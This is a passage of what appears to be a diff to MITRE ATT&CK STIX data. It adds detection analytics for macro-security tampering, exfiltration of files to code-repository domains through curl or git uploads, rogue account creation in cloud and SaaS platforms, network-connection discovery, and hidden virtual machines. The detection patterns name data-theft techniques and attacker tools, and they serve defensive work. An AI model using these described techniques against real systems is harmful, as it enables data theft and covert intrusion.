"2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0317#AN0894", + "external_id": "AN0894" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0894", + "description": "Disabling of security macros or safe mode settings within Word/Excel/Outlook. Detect registry edits or configuration file changes that weaken macro enforcement.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--da85d358-741a-410d-9433-20d6269a6170", + "name": "m365:unified", + "channel": "MacroSecuritySettingsChanged or SafeModeDisabled" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ApplicationScope", + "description": "Specify which Office applications are monitored for macro security configuration changes." + } + ], + "x_mitre_platforms": [ + "Office Suite" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--7c7f0049-96af-4acc-9c58-9f8e661adb63", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0318#AN0895", + "external_id": "AN0895" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0895", + "description": "Processes such as PowerShell, Git, or curl initiating outbound HTTPS POST requests to known code repository APIs (e.g., github.com, gitlab.com) immediately following large file reads. Defender view: correlation between file access of sensitive directories (e.g., Documents, Finance) and abnormal data uploads to repository domains.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71", + "name": "WinEventLog:Security", + "channel": "EventCode=4663" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=3" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=1" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "MonitoredDomains", + "description": "List of external code repository domains to monitor (github.com, gitlab.com, bitbucket.org)." + }, + { + "field": "ExfilVolumeThreshold", + "description": "Threshold for outbound data volume per session to flag suspicious uploads." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--8049e0b4-961b-499f-9204-45fa9b7117be", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0318#AN0896", + "external_id": "AN0896" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0896", + "description": "Processes like git, curl, or python scripts executing commands that package files (tar, gzip) followed by HTTPS uploads to code repository endpoints. Defender view: detect unusual git push activity or scripted HTTPS requests outside normal developer work hours.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "auditd:EXECVE", + "channel": "git push, curl -X POST" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71", + "name": "auditd:SYSCALL", + "channel": "open/read of sensitive directories" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a", + "name": "NSM:Flow", + "channel": "large outbound HTTPS uploads to repo domains" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "WorkHours", + "description": "Baseline normal developer activity periods to reduce false positives." + }, + { + "field": "RepoDomainList", + "description": "Known allowed internal or external repository domains." + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--70b2ab8e-f18e-4cb5-8149-4ba2c334df69", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0318#AN0897", + "external_id": "AN0897" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0897", + "description": "Office or scripting applications initiating unusual HTTPS traffic to code repository APIs with high outbound-to-inbound ratios. Defender perspective: monitor for sensitive file access in combination with network connections to github.com, gitlab.com, or bitbucket.org.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "macos:unifiedlog", + "channel": "execution of curl, git, or Office processes with network connections" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71", + "name": "macos:unifiedlog", + "channel": "read of user document directories" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "macos:unifiedlog", + "channel": "outbound HTTPS connections to code repository APIs" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "MonitoredApplications", + "description": "Applications not expected to upload large data sets to repos (Word, Excel, Preview)." + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--e18f0682-6610-4ba8-8159-a4afea3b7974", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0318#AN0898", + "external_id": "AN0898" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0898", + "description": "ESXi host processes (vmx, hostd) initiating HTTPS sessions toward external code repositories. Defender perspective: detect datastore reads followed by outbound web traffic inconsistent with administrative baselines.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71", + "name": "esxi:hostd", + "channel": "datastore file access" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a", + "name": "esxi:vmkernel", + "channel": "HTTPS traffic to repository domains" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "DatastoreTransferThreshold", + "description": "Amount of data moved from datastore to external services before raising alert." + } + ], + "x_mitre_platforms": [ + "ESXi" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--668f1c2b-1a5e-4269-92d9-f7126764dd4e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0319#AN0899", + "external_id": "AN0899" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0899", + "description": "Adversaries create user accounts via identity provider APIs or admin portals (e.g., Azure AD, Okta). These accounts may be assigned elevated privileges or used in chained authentication. Detection monitors Add User activity from suspicious IPs or automation sources, followed by role/permission escalation.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--deb22295-7e37-4a3b-ac6f-c86666fbe63d", + "name": "azure:audit", + "channel": "Add user" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--d27b0089-2c39-4b6c-84ff-303e48657e77", + "name": "azure:audit", + "channel": "Add member to role" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--a953ca55-921a-44f7-9b8d-3d40141aa17e", + "name": "azure:signinlogs", + "channel": "Login from newly created account" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "IPAddress", + "description": "Filter on IPs outside known admin networks or geographies" + }, + { + "field": "RoleThreshold", + "description": "Raise alert if total admins exceeds historical baseline" + }, + { + "field": "ServicePrincipalFlag", + "description": "Differentiate between user and service principal creation" + } + ], + "x_mitre_platforms": [ + "Identity Provider" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--4264c6fb-20b2-4792-8939-c7d8f204338a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0319#AN0900", + "external_id": "AN0900" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0900", + "description": "Adversaries use cloud API, CLI, or console to create IAM users or roles. Initial CreateUser is followed by policy/role attachment. Detection monitors temporal chains involving IAM:CreateUser, AttachUserPolicy, and credential generation, especially from automation or foreign IP ranges.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--deb22295-7e37-4a3b-ac6f-c86666fbe63d", + "name": "AWS:CloudTrail", + "channel": "CreateUser" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--d27b0089-2c39-4b6c-84ff-303e48657e77", + "name": "AWS:CloudTrail", + "channel": "AttachUserPolicy" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "Region", + "description": "Alert when creation happens in unexpected regions" + }, + { + "field": "TimeWindow", + "description": "Chain CreateUser \u2192 AttachPolicy \u2192 AccessKey within short timeframe" + }, + { + "field": "UserAgent", + "description": "Monitor API calls from non-console or automation tools" + } + ], + "x_mitre_platforms": [ + "IaaS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--e619c27e-3d57-489c-8ce9-cbb5f0c195bd", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0319#AN0901", + "external_id": "AN0901" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0901", + "description": "Adversaries create SaaS accounts via admin dashboards or integrations (e.g., Zoom, Salesforce, Slack). Monitor lifecycle.create or account provisioning events from non-standard sources or times.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--deb22295-7e37-4a3b-ac6f-c86666fbe63d", + "name": "saas:zoom", + "channel": "New user created" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ApplicationScope", + "description": "Trigger only for high-privilege or sensitive applications" + }, + { + "field": "AdminUserList", + "description": "Compare actor to list of approved SaaS administrators" + } + ], + "x_mitre_platforms": [ + "SaaS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--53872bd3-7e5e-4573-ae07-6304bf7e49af", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0319#AN0902", + "external_id": "AN0902" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0902", + "description": "Adversaries leverage M365 or Google Workspace APIs to create users, service accounts, or guest accounts. Follow-on behaviors include login activity, role escalation, or service principal token generation.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--deb22295-7e37-4a3b-ac6f-c86666fbe63d", + "name": "m365:unified", + "channel": "Add user" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--05d5b5b4-ef93-4807-b05f-33d8c5a35bc5", + "name": "m365:unified", + "channel": "Add member to group" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "GroupSensitivity", + "description": "Only alert on additions to high-value groups (e.g., Domain Admins)" + }, + { + "field": "GuestFlag", + "description": "Tune alerts based on guest vs internal user creation" + } + ], + "x_mitre_platforms": [ + "Office Suite" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--d78b4bb3-bd0a-4e43-bc19-0a7b72f6a9d3", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0320#AN0903", + "external_id": "AN0903" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0903", + "description": "Detects usage of commands or binaries (e.g., netstat, PowerShell Get-NetTCPConnection) and WMI or API calls to enumerate local or remote network connections.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=1" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "WinEventLog:PowerShell", + "channel": "EventCode=4104" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "SuspiciousParentProcesses", + "description": "Non-standard binaries launching PowerShell or netstat (e.g., winword.exe spawning powershell.exe)." + }, + { + "field": "TimeWindow", + "description": "Correlates discovery behavior before lateral movement or credential access." + }, + { + "field": "CommandPatternList", + "description": "Regex or keyword patterns to match discovery utilities (e.g., `netstat`, `Get-NetTCPConnection`)." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--10dcfce8-70df-4682-ab04-90279d7292f9", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0320#AN0904", + "external_id": "AN0904" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0904", + "description": "Detects use of netstat, ss, lsof, or custom shell scripts to list current network connections. Often paired with privilege escalation or staging.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "auditd:SYSCALL", + "channel": "execve" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "linux:cli", + "channel": "command logging" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "UtilityNameList", + "description": "List of binaries used for discovery (e.g., netstat, ss, lsof)." + }, + { + "field": "UserContextScope", + "description": "Limit detection to non-administrative or service accounts performing enumeration." + }, + { + "field": "ExecutionFrequencyThreshold", + "description": "Unusual number of executions within a short time window." + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--635f834e-ee46-496f-aec4-23dbef04451b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0320#AN0905", + "external_id": "AN0905" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0905", + "description": "Detects shell-based enumeration of active connections using `netstat`, `lsof -i`, or AppleScript-based system discovery.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "macos:osquery", + "channel": "process_events" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ShellCommandWatchlist", + "description": "Matches terminal commands like `lsof -i`, `netstat`, or scripts issued via Automator or AppleScript." + }, + { + "field": "TerminalBinaryDenylist", + "description": "Tracks execution of networking discovery tools by apps outside Terminal.app or iTerm." + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--d42c2a80-bf02-460f-b279-147940ece3a9", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0320#AN0906", + "external_id": "AN0906" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0906", + "description": "Detects shell or API usage of `esxcli network ip connection list` or `netstat` to enumerate ESXi host connections.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "esxi:hostd", + "channel": "command log" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ExecutionOriginCheck", + "description": "Detect commands executed outside normal management interfaces (e.g., SSH or root shell)." + }, + { + "field": "ExpectedAdminAccessWindow", + "description": "Timeframe when host connection audits are expected (e.g., maintenance windows)." + } + ], + "x_mitre_platforms": [ + "ESXi" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--c6208aa1-fa6e-4d9d-a284-dd0aab1ee31c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0320#AN0907", + "external_id": "AN0907" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0907", + "description": "Detects interactive or automated use of CLI commands like `show ip sockets`, `show tcp brief`, or SNMP queries for active sessions on routers/switches.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "networkdevice:cli", + "channel": "command logs" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--9bde2f9d-a695-4344-bfac-f2dce13d121e", + "name": "snmp:trap", + "channel": "management queries" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "CommandPatternList", + "description": "Monitors for known socket/session query strings." + }, + { + "field": "PrivilegedUserCheck", + "description": "Restrict detections to non-admin roles executing advanced queries." + } + ], + "x_mitre_platforms": [ + "Network Devices" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--914a5b13-5977-4e62-abab-9ee03e72624f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0320#AN0908", + "external_id": "AN0908" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0908", + "description": "Detects enumeration of cloud network interfaces, VPCs, subnets, or peer connections using CLI or SDKs (e.g., AWS CLI, Azure CLI, GCloud CLI).", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--9bde2f9d-a695-4344-bfac-f2dce13d121e", + "name": "AWS:CloudTrail", + "channel": "Describe* or List* API calls" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "azure:activity", + "channel": "networkInsightsLogs" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ServicePrincipalAllowlist", + "description": "Allow certain automation roles to perform discovery during provisioning." + }, + { + "field": "BurstQueryThreshold", + "description": "Unusual number of Describe* or List* network API calls in a short timeframe." + } + ], + "x_mitre_platforms": [ + "IaaS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--f94e2ae3-7c79-4796-96a1-e462828f9c13", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0321#AN0909", + "external_id": "AN0909" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0909", + "description": "Unusual execution of virtualization binaries (VBoxManage.exe, vmware-vmx.exe, vmwp.exe) with headless or suppressed notification arguments. Registry and service modifications linked to virtualization installs. Defender view: anomalies in process creation, service metadata, and registry writes tied to enabling hidden VMs.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=1" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--5297a638-1382-4f0c-8472-0d21830bf705", + "name": "WinEventLog:System", + "channel": "EventCode=7045" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--da85d358-741a-410d-9433-20d6269a6170", + "name": "WinEventLog:Security", + "channel": "EventCode=4657" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "VirtualizationBinaryWhitelist", + "description": "Exclude known administrative VM software usage in enterprise environments." + }, + { + "field": "TimeWindow", + "description": "Correlate registry and service modifications with VM process starts within a narrow time frame." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--79ba9430-eeb0-4fce-9757-bb81fc2a43d5", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0321#AN0910", + "external_id": "AN0910" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0910", + "description": "Execution of QEMU, KVM, or VirtualBox processes with unusual flags (e.g., '-nographic', '-snapshot'). File creation of VM images in atypical directories. Defender view: monitoring audit logs for process executions and file modifications linked to hidden virtualization.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "auditd:SYSCALL", + "channel": "execve calls for qemu-system*, kvm, or VBoxHeadless" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", + "name": "auditd:SYSCALL", + "channel": "File creations of *.qcow2, *.vdi, *.vmdk outside standard VM directories" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ImageDirectoryWhitelist", + "description": "Legitimate VM image storage paths to reduce false positives." + }, + { + "field": "UserContext", + "description": "Correlate suspicious VM execution with non-admin or service accounts." + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--4d76bcf2-0935-4f61-8dd9-57ee3713b840", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0321#AN0911", + "external_id": "AN0911" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0911", + "description": "Execution of virtualization binaries (Parallels, VMware Fusion, VirtualBox) with arguments to hide UI. File monitoring for plist modifications indicating hidden virtualization behavior. Defender perspective: tracking process lineage and file modifications in system configs.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + 